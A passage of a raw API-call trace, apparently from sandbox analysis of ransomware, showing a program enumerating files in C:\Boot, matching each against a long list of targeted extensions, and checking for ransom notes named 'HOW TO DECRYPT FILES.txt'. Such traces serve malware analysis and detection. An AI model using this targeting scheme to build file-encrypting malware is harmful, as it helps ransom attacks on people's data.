[0057.055] lstrlenA (lpString="*.xlsm") returned 6 [0057.055] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.dwg") returned 0 [0057.055] lstrlenA (lpString="*.dwg") returned 5 [0057.055] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.nd") returned 0 [0057.055] lstrlenA (lpString="*.nd") returned 4 [0057.055] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.tlg") returned 0 [0057.055] lstrlenA (lpString="*.tlg") returned 5 [0057.055] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.lgb") returned 0 [0057.055] lstrlenA (lpString="*.lgb") returned 5 [0057.055] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.mov") returned 0 [0057.056] lstrlenA (lpString="*.mov") returned 5 [0057.056] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.xdw") returned 0 [0057.056] lstrlenA (lpString="*.xdw") returned 5 [0057.056] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.ods") returned 0 [0057.056] lstrlenA (lpString="*.ods") returned 5 [0057.056] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.wav") returned 0 [0057.056] lstrlenA (lpString="*.wav") returned 5 [0057.056] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.mp3") returned 0 [0057.056] lstrlenA (lpString="*.mp3") returned 5 [0057.056] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.aiff") returned 0 [0057.056] lstrlenA (lpString="*.aiff") returned 6 [0057.056] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.flac") returned 0 [0057.056] lstrlenA (lpString="*.flac") returned 6 [0057.056] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.m4a") returned 0 [0057.056] lstrlenA (lpString="*.m4a") returned 5 [0057.056] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG", pszSpec="*.csv") returned 0 [0057.056] lstrlenA (lpString="*.csv") returned 5 [0057.056] FindNextFileA (in: hFindFile=0x4f6020, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0057.056] PeekMessageA (in: lpMsg=0x18fcc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fcc4) returned 0 [0057.056] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BCD.LOG1") returned 1 [0057.057] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BCD.LOG1") returned 1 [0057.057] lstrcmpiA (lpString1="", lpString2="BCD.LOG1") returned -1 [0057.057] PathFindFileNameA (pszPath="C:\\Boot\\BCD.LOG") returned="BCD.LOG" [0057.057] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Boot\\" | out: lpString1="C:\\Boot\\") returned="C:\\Boot\\" [0057.057] PathAddBackslashA (in: pszPath="C:\\Boot\\" | out: pszPath="C:\\Boot\\") returned="" [0057.057] lstrcatA (in: lpString1="C:\\Boot\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Boot\\HOW TO DECRYPT FILES.txt") returned="C:\\Boot\\HOW TO DECRYPT FILES.txt" [0057.057] GetFileAttributesA (lpFileName="C:\\Boot\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\how to decrypt files.txt")) returned 0x20 [0057.057] lstrcatA (in: lpString1="C:\\Boot\\", lpString2="BCD.LOG1" | out: lpString1="C:\\Boot\\BCD.LOG1") returned="C:\\Boot\\BCD.LOG1" [0057.057] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.ems") returned 0 [0057.057] lstrlenA (lpString="*.ems") returned 5 [0057.057] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.db") returned 0 [0057.057] lstrlenA (lpString="*.db") returned 4 [0057.057] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.dbf") returned 0 [0057.057] lstrlenA (lpString="*.dbf") returned 5 [0057.057] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.myox") returned 0 [0057.057] lstrlenA (lpString="*.myox") returned 6 [0057.057] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.myo") returned 0 [0057.057] lstrlenA (lpString="*.myo") returned 5 [0057.058] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.qbw") returned 0 [0057.058] lstrlenA (lpString="*.qbw") returned 5 [0057.058] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.qbb") returned 0 [0057.058] lstrlenA (lpString="*.qbb") returned 5 [0057.058] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.qbm") returned 0 [0057.058] lstrlenA (lpString="*.qbm") returned 5 [0057.058] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.qbo") returned 0 [0057.058] lstrlenA (lpString="*.qbo") returned 5 [0057.058] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.qbx") returned 0 [0057.058] lstrlenA (lpString="*.qbx") returned 5 [0057.058] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.qba") returned 0 [0057.058] lstrlenA (lpString="*.qba") returned 5 [0057.058] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.qby") returned 0 [0057.058] lstrlenA (lpString="*.qby") returned 5 [0057.058] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.qbj") returned 0 [0057.058] lstrlenA (lpString="*.qbj") returned 5 [0057.058] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.ofx") returned 0 [0057.058] lstrlenA (lpString="*.ofx") returned 5 [0057.058] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.qif") returned 0 [0057.058] lstrlenA (lpString="*.qif") returned 5 [0057.058] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.mye") returned 0 [0057.058] lstrlenA (lpString="*.mye") returned 5 [0057.058] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.mbox") returned 0 [0057.058] lstrlenA (lpString="*.mbox") returned 6 [0057.059] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.eml") returned 0 [0057.059] lstrlenA (lpString="*.eml") returned 5 [0057.059] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.pst") returned 0 [0057.059] lstrlenA (lpString="*.pst") returned 5 [0057.059] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.ost") returned 0 [0057.059] lstrlenA (lpString="*.ost") returned 5 [0057.059] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.idx") returned 0 [0057.059] lstrlenA (lpString="*.idx") returned 5 [0057.059] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.dbx") returned 0 [0057.059] lstrlenA (lpString="*.dbx") returned 5 [0057.059] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.sql") returned 0 [0057.059] lstrlenA (lpString="*.sql") returned 5 [0057.059] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.mdb") returned 0 [0057.059] lstrlenA (lpString="*.mdb") returned 5 [0057.059] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.fdb") returned 0 [0057.059] lstrlenA (lpString="*.fdb") returned 5 [0057.059] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.wab") returned 0 [0057.059] lstrlenA (lpString="*.wab") returned 5 [0057.059] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.dat") returned 0 [0057.059] lstrlenA (lpString="*.dat") returned 5 [0057.059] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.txt") returned 0 [0057.059] lstrlenA (lpString="*.txt") returned 5 [0057.059] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.jpeg") returned 0 [0057.059] lstrlenA (lpString="*.jpeg") returned 6 [0057.059] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.jpg") returned 0 [0057.060] lstrlenA (lpString="*.jpg") returned 5 [0057.060] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.png") returned 0 [0057.060] lstrlenA (lpString="*.png") returned 5 [0057.060] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.php") returned 0 [0057.060] lstrlenA (lpString="*.php") returned 5 [0057.060] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.cs") returned 0 [0057.060] lstrlenA (lpString="*.cs") returned 4 [0057.060] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.cpp") returned 0 [0057.060] lstrlenA (lpString="*.cpp") returned 5 [0057.060] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.rar") returned 0 [0057.060] lstrlenA (lpString="*.rar") returned 5 [0057.060] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.zip") returned 0 [0057.060] lstrlenA (lpString="*.zip") returned 5 [0057.060] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.html") returned 0 [0057.060] lstrlenA (lpString="*.html") returned 6 [0057.060] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.htm") returned 0 [0057.060] lstrlenA (lpString="*.htm") returned 5 [0057.060] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.xlsx") returned 0 [0057.060] lstrlenA (lpString="*.xlsx") returned 6 [0057.060] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.xls") returned 0 [0057.060] lstrlenA (lpString="*.xls") returned 5 [0057.060] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.mp4") returned 0 [0057.060] lstrlenA (lpString="*.mp4") returned 5 [0057.060] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.ppt") returned 0 [0057.061] lstrlenA (lpString="*.ppt") returned 5 [0057.061] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.pptx") returned 0 [0057.061] lstrlenA (lpString="*.pptx") returned 6 [0057.061] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.doc") returned 0 [0057.061] lstrlenA (lpString="*.doc") returned 5 [0057.061] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.dot") returned 0 [0057.061] lstrlenA (lpString="*.dot") returned 5 [0057.061] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.docx") returned 0 [0057.061] lstrlenA (lpString="*.docx") returned 6 [0057.061] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.7z") returned 0 [0057.061] lstrlenA (lpString="*.7z") returned 4 [0057.061] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.tar") returned 0 [0057.061] lstrlenA (lpString="*.tar") returned 5 [0057.061] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.bz2") returned 0 [0057.061] lstrlenA (lpString="*.bz2") returned 5 [0057.061] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.gz") returned 0 [0057.061] lstrlenA (lpString="*.gz") returned 4 [0057.061] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.mkv") returned 0 [0057.061] lstrlenA (lpString="*.mkv") returned 5 [0057.061] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.eml") returned 0 [0057.061] lstrlenA (lpString="*.eml") returned 5 [0057.061] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.msg") returned 0 [0057.061] lstrlenA (lpString="*.msg") returned 5 [0057.061] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.edb") returned 0 [0057.061] lstrlenA (lpString="*.edb") returned 5 [0057.062] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.accdb") returned 0 [0057.062] lstrlenA (lpString="*.accdb") returned 7 [0057.062] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.odb") returned 0 [0057.062] lstrlenA (lpString="*.odb") returned 5 [0057.062] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.java") returned 0 [0057.062] lstrlenA (lpString="*.java") returned 6 [0057.062] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.asm") returned 0 [0057.062] lstrlenA (lpString="*.asm") returned 5 [0057.063] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.pfx") returned 0 [0057.063] lstrlenA (lpString="*.pfx") returned 5 [0057.063] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.pem") returned 0 [0057.063] lstrlenA (lpString="*.pem") returned 5 [0057.063] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.p12") returned 0 [0057.063] lstrlenA (lpString="*.p12") returned 5 [0057.063] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.gpg") returned 0 [0057.063] lstrlenA (lpString="*.gpg") returned 5 [0057.063] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.vsd") returned 0 [0057.063] lstrlenA (lpString="*.vsd") returned 5 [0057.063] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.odg") returned 0 [0057.063] lstrlenA (lpString="*.odg") returned 5 [0057.063] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.raw") returned 0 [0057.063] lstrlenA (lpString="*.raw") returned 5 [0057.063] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.nef") returned 0 [0057.063] lstrlenA (lpString="*.nef") returned 5 [0057.063] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.svg") returned 0 [0057.063] lstrlenA (lpString="*.svg") returned 5 [0057.063] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.psd") returned 0 [0057.063] lstrlenA (lpString="*.psd") returned 5 [0057.063] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.vmx") returned 0 [0057.063] lstrlenA (lpString="*.vmx") returned 5 [0057.063] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.vmdk") returned 0 [0057.063] lstrlenA (lpString="*.vmdk") returned 6 [0057.064] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.vdi") returned 0 [0057.064] lstrlenA (lpString="*.vdi") returned 5 [0057.064] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.lay6") returned 0 [0057.064] lstrlenA (lpString="*.lay6") returned 6 [0057.064] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.mpeg") returned 0 [0057.064] lstrlenA (lpString="*.mpeg") returned 6 [0057.064] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.djvu") returned 0 [0057.064] lstrlenA (lpString="*.djvu") returned 6 [0057.064] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.tiff") returned 0 [0057.064] lstrlenA (lpString="*.tiff") returned 6 [0057.064] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.backup") returned 0 [0057.064] lstrlenA (lpString="*.backup") returned 8 [0057.064] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.pdf") returned 0 [0057.064] lstrlenA (lpString="*.pdf") returned 5 [0057.064] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.cert") returned 0 [0057.064] lstrlenA (lpString="*.cert") returned 6 [0057.064] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.docm") returned 0 [0057.064] lstrlenA (lpString="*.docm") returned 6 [0057.064] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.xlsm") returned 0 [0057.064] lstrlenA (lpString="*.xlsm") returned 6 [0057.064] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.dwg") returned 0 [0057.064] lstrlenA (lpString="*.dwg") returned 5 [0057.064] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.nd") returned 0 [0057.064] lstrlenA (lpString="*.nd") returned 4 [0057.064] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.tlg") returned 0 [0057.065] lstrlenA (lpString="*.tlg") returned 5 [0057.065] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.lgb") returned 0 [0057.065] lstrlenA (lpString="*.lgb") returned 5 [0057.065] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.mov") returned 0 [0057.065] lstrlenA (lpString="*.mov") returned 5 [0057.065] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.xdw") returned 0 [0057.065] lstrlenA (lpString="*.xdw") returned 5 [0057.065] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.ods") returned 0 [0057.065] lstrlenA (lpString="*.ods") returned 5 [0057.065] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.wav") returned 0 [0057.065] lstrlenA (lpString="*.wav") returned 5 [0057.065] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.mp3") returned 0 [0057.065] lstrlenA (lpString="*.mp3") returned 5 [0057.065] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.aiff") returned 0 [0057.065] lstrlenA (lpString="*.aiff") returned 6 [0057.065] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.flac") returned 0 [0057.065] lstrlenA (lpString="*.flac") returned 6 [0057.065] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.m4a") returned 0 [0057.065] lstrlenA (lpString="*.m4a") returned 5 [0057.065] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG1", pszSpec="*.csv") returned 0 [0057.065] lstrlenA (lpString="*.csv") returned 5 [0057.065] FindNextFileA (in: hFindFile=0x4f6020, lpFindFileData=0x18fce8 | out: lpFindFileData=0x18fce8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0057.065] PeekMessageA (in: lpMsg=0x18fcc4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fcc4) returned 0 [0057.066] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="BCD.LOG2") returned 1 [0057.066] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="BCD.LOG2") returned 1 [0057.066] lstrcmpiA (lpString1="", lpString2="BCD.LOG2") returned -1 [0057.066] PathFindFileNameA (pszPath="C:\\Boot\\BCD.LOG1") returned="BCD.LOG1" [0057.066] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Boot\\" | out: lpString1="C:\\Boot\\") returned="C:\\Boot\\" [0057.066] PathAddBackslashA (in: pszPath="C:\\Boot\\" | out: pszPath="C:\\Boot\\") returned="" [0057.066] lstrcatA (in: lpString1="C:\\Boot\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Boot\\HOW TO DECRYPT FILES.txt") returned="C:\\Boot\\HOW TO DECRYPT FILES.txt" [0057.066] GetFileAttributesA (lpFileName="C:\\Boot\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\how to decrypt files.txt")) returned 0x20 [0057.066] lstrcatA (in: lpString1="C:\\Boot\\", lpString2="BCD.LOG2" | out: lpString1="C:\\Boot\\BCD.LOG2") returned="C:\\Boot\\BCD.LOG2" [0057.066] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.ems") returned 0 [0057.066] lstrlenA (lpString="*.ems") returned 5 [0057.066] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.db") returned 0 [0057.066] lstrlenA (lpString="*.db") returned 4 [0057.067] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.dbf") returned 0 [0057.067] lstrlenA (lpString="*.dbf") returned 5 [0057.067] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.myox") returned 0 [0057.067] lstrlenA (lpString="*.myox") returned 6 [0057.067] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.myo") returned 0 [0057.067] lstrlenA (lpString="*.myo") returned 5 [0057.067] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.qbw") returned 0 [0057.067] lstrlenA (lpString="*.qbw") returned 5 [0057.067] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.qbb") returned 0 [0057.067] lstrlenA (lpString="*.qbb") returned 5 [0057.067] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.qbm") returned 0 [0057.067] lstrlenA (lpString="*.qbm") returned 5 [0057.067] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.qbo") returned 0 [0057.067] lstrlenA (lpString="*.qbo") returned 5 [0057.067] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.qbx") returned 0 [0057.067] lstrlenA (lpString="*.qbx") returned 5 [0057.067] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.qba") returned 0 [0057.067] lstrlenA (lpString="*.qba") returned 5 [0057.067] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.qby") returned 0 [0057.067] lstrlenA (lpString="*.qby") returned 5 [0057.067] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.qbj") returned 0 [0057.067] lstrlenA (lpString="*.qbj") returned 5 [0057.068] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.ofx") returned 0 [0057.068] lstrlenA (lpString="*.ofx") returned 5 [0057.068] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.qif") returned 0 [0057.068] lstrlenA (lpString="*.qif") returned 5 [0057.068] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.mye") returned 0 [0057.068] lstrlenA (lpString="*.mye") returned 5 [0057.068] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.mbox") returned 0 [0057.068] lstrlenA (lpString="*.mbox") returned 6 [0057.068] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.eml") returned 0 [0057.068] lstrlenA (lpString="*.eml") returned 5 [0057.068] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.pst") returned 0 [0057.068] lstrlenA (lpString="*.pst") returned 5 [0057.068] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.ost") returned 0 [0057.068] lstrlenA (lpString="*.ost") returned 5 [0057.068] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.idx") returned 0 [0057.068] lstrlenA (lpString="*.idx") returned 5 [0057.068] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.dbx") returned 0 [0057.068] lstrlenA (lpString="*.dbx") returned 5 [0057.068] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.sql") returned 0 [0057.068] lstrlenA (lpString="*.sql") returned 5 [0057.069] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.mdb") returned 0 [0057.069] lstrlenA (lpString="*.mdb") returned 5 [0057.069] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.fdb") returned 0 [0057.069] lstrlenA (lpString="*.fdb") returned 5 [0057.069] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.wab") returned 0 [0057.069] lstrlenA (lpString="*.wab") returned 5 [0057.069] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.dat") returned 0 [0057.069] lstrlenA (lpString="*.dat") returned 5 [0057.069] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.txt") returned 0 [0057.069] lstrlenA (lpString="*.txt") returned 5 [0057.069] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.jpeg") returned 0 [0057.069] lstrlenA (lpString="*.jpeg") returned 6 [0057.069] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.jpg") returned 0 [0057.069] lstrlenA (lpString="*.jpg") returned 5 [0057.069] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.png") returned 0 [0057.069] lstrlenA (lpString="*.png") returned 5 [0057.069] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.php") returned 0 [0057.069] lstrlenA (lpString="*.php") returned 5 [0057.069] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.cs") returned 0 [0057.069] lstrlenA (lpString="*.cs") returned 4 [0057.070] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.cpp") returned 0 [0057.070] lstrlenA (lpString="*.cpp") returned 5 [0057.070] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.rar") returned 0 [0057.070] lstrlenA (lpString="*.rar") returned 5 [0057.070] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.zip") returned 0 [0057.070] lstrlenA (lpString="*.zip") returned 5 [0057.070] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.html") returned 0 [0057.070] lstrlenA (lpString="*.html") returned 6 [0057.070] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.htm") returned 0 [0057.070] lstrlenA (lpString="*.htm") returned 5 [0057.070] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.xlsx") returned 0 [0057.070] lstrlenA (lpString="*.xlsx") returned 6 [0057.070] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.xls") returned 0 [0057.070] lstrlenA (lpString="*.xls") returned 5 [0057.070] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.mp4") returned 0 [0057.070] lstrlenA (lpString="*.mp4") returned 5 [0057.070] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.ppt") returned 0 [0057.070] lstrlenA (lpString="*.ppt") returned 5 [0057.071] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.pptx") returned 0 [0057.071] lstrlenA (lpString="*.pptx") returned 6 [0057.071] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.doc") returned 0 [0057.071] lstrlenA (lpString="*.doc") returned 5 [0057.071] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.dot") returned 0 [0057.071] lstrlenA (lpString="*.dot") returned 5 [0057.071] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.docx") returned 0 [0057.071] lstrlenA (lpString="*.docx") returned 6 [0057.071] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.7z") returned 0 [0057.071] lstrlenA (lpString="*.7z") returned 4 [0057.071] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.tar") returned 0 [0057.071] lstrlenA (lpString="*.tar") returned 5 [0057.071] PathMatchSpecA (pszFile="C:\\Boot\\BCD.LOG2", pszSpec="*.bz2") returned 0 [0057.071] 